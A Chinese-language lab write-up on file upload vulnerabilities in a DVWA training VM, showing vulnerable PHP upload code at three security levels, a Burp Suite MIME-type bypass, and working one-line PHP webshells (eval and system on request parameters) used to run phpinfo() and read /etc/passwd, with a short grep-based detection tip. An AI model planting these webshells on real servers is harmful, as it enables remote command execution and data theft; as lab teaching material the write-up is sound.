文件上傳漏洞
項目實驗環境
OWASP Broken Web Apps VM v1.2 靶場
burpsuite 代理服務器
Kali-Linux-2020.1-vmware-amd64 攻擊機
實驗一(低安全級別)
思路: 可以上傳任意文件,沒有做任何的檢測,如果上傳的是惡意的木馬,就可以連接服務器,爆破,獲取webshell
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
通過代碼也可以發現,只要存在上傳的文件對象就允許上傳,並沒有限制是否爲圖片文件
實驗二(中安全級別)
思路: 限制上傳的文件必須是是圖片類型,且限定了大小,圖片類型的限制用http中的請求類型,即MIME類型對請求頭進行限制,此實驗限制爲圖像類型
什麼是MIME?
MIME (Multipurpose Internet Mail Extensions)(多功能網際郵件擴充協議) 是描述消息內容類型的因特網標準,在HTTP中,MIME類型被定義在Content-TypeHeader中,每個MIME類型由兩部分組成,前面是數據的大類別,例如聲音audio、圖象image等,後面定義具體的種類。
常見的MIME類型(通用型):
超文本標記語言文本 .html text/html
xml文檔 .xml text/xml
XHTML文檔 xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文檔 .pdf application/pdf
Microsoft Word文件 .doc application/msword
PNG圖像 .png image/png
GIF圖形 .gif image/gif
JPEG圖形 .jpeg,.jpg image/jpeg
au聲音文件 .au audio/basic
MIDI音樂文件 .mid,.midi audio/midi,audio/x-midi
RealAudio音樂文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二進制數據 application/octet-stream
比如,打開淘寶網,可以看到高亮欄的content-type爲imag/png
分析:
那麼,可以通過更改請求頭的這個信息,使其爲網頁需要的圖片的MIME類型即可
此時,使用burpsuite進行代理
思路:
步驟:
1.在Kali上打開burpsuite,代理的功能打開,並設置爲所有的接口
2.將物理主機的代理功能打開,指向Kali
3.打開瀏覽器訪問文件上傳的網頁,選擇一個文本文件,點擊上傳 ,此時kali就截到了 這個HTTP的請求信息
4.更改content-type爲image/jpeg
可見,不是圖片的文件就被上傳了,這樣就可以上傳一個惡意的一句話木馬,使用中國菜刀的軟件就可以進行連接,進行爬取數據,下面會做解釋
查看後臺的php代碼,限制的就是MIME類型,通過修改請求頭中的這個類型,就可以矇混過關
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
實驗三(高安全級別)
網站設計: 限制上傳文件的擴展名,必須是jpg、JPG、jpeg、JPEG 與圖片的大小,這時,修改MIME類型是沒有用的,因爲網頁的後端PHP語言限制的是文件的後綴名,如果直接更改文件的後綴名,會導致木馬程序失效(即不能使用)
查看後臺的php代碼
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_LES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
webshell
小馬:一句話木馬也稱小馬,即整個shell代碼只有一行,一般是系統執行函數
大馬:代碼裏和功能都比小馬多,一般會進行二進制編碼加密碼,防止被安全防火牆/入侵系統檢測到
yichen.php
<?php eval($_REQUEST['eichi']);?> 需要網頁的輸入式請求,單引號中寫的是請求的實,理解成變量名即可
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen.php
<?php eval($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen.php?eichi=phpinfo();
yichen1.php #eval
<?php system($_REQUEST['eichi']);?> 調用系統的函數
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat yichen1.php
<?php system($_REQUEST['eichi']);?>
http://192.168.211.143/dvwa/hackable/uploads/yichen1.php?eichi=cat /etc/passwd
可怕嗎 ?如果你覺得還行,那就請繼續看下去,還有更恐怖的~
使用頁面文件上傳頁面,上傳一個這樣的php代碼
<?php @eval($_POST['yichen']);?> 方括號內的是密碼
root@owaspbwa:/var/www/dvwa/hackable/uploads# cat shell.php
<?php @eval($_POST['yichen']);?>
說明:request是在網頁端輸入變量訪問,POST是使用類似中國菜刀的工具進行連接,是C/S架構
http://192.168.211.143/dvwa/hackable/uploads/shell.php
網頁訪問,並沒有什麼內容,但是使用中國菜刀連接,就可以對這個網站進行爬取,獲取任意你需要的內容與數據
總結:
1.實驗1沒有任何要求,不做贅述
2.實驗2限制了上傳文件的HTTP中MIME類型,根據使用代理服務器來更改請求頭中的MIME類型爲圖片類型
3.實驗3限制了上傳文件的後綴名,那就上傳一個圖片木馬,對於高安全級別的圖片木馬注入,請點擊這裏
解決:
使用過濾功能來查看惡意的木馬程序,使用防火牆,waf等工具
root@owaspbwa:~# fgrep -R 'eval($_POST[' /var/www/dvwa
/var/www/dvwa/hackable/uploads/shell.php:<?php @eval($_POST['yichen']);?>
/var/www/dvwa/vulnerabilities/fi/shell20.php:<?php eval($_POST[123]);?>
/var/www/dvwa/vulnerabilities/fi/shell999.php:<?php eval($_POST[123]);?>
CC攻擊與DDOS工具
CC是應用程序癱瘓,比如發送驗證碼的網頁癱瘓;DDOS網絡發起攻擊,增大網絡的負載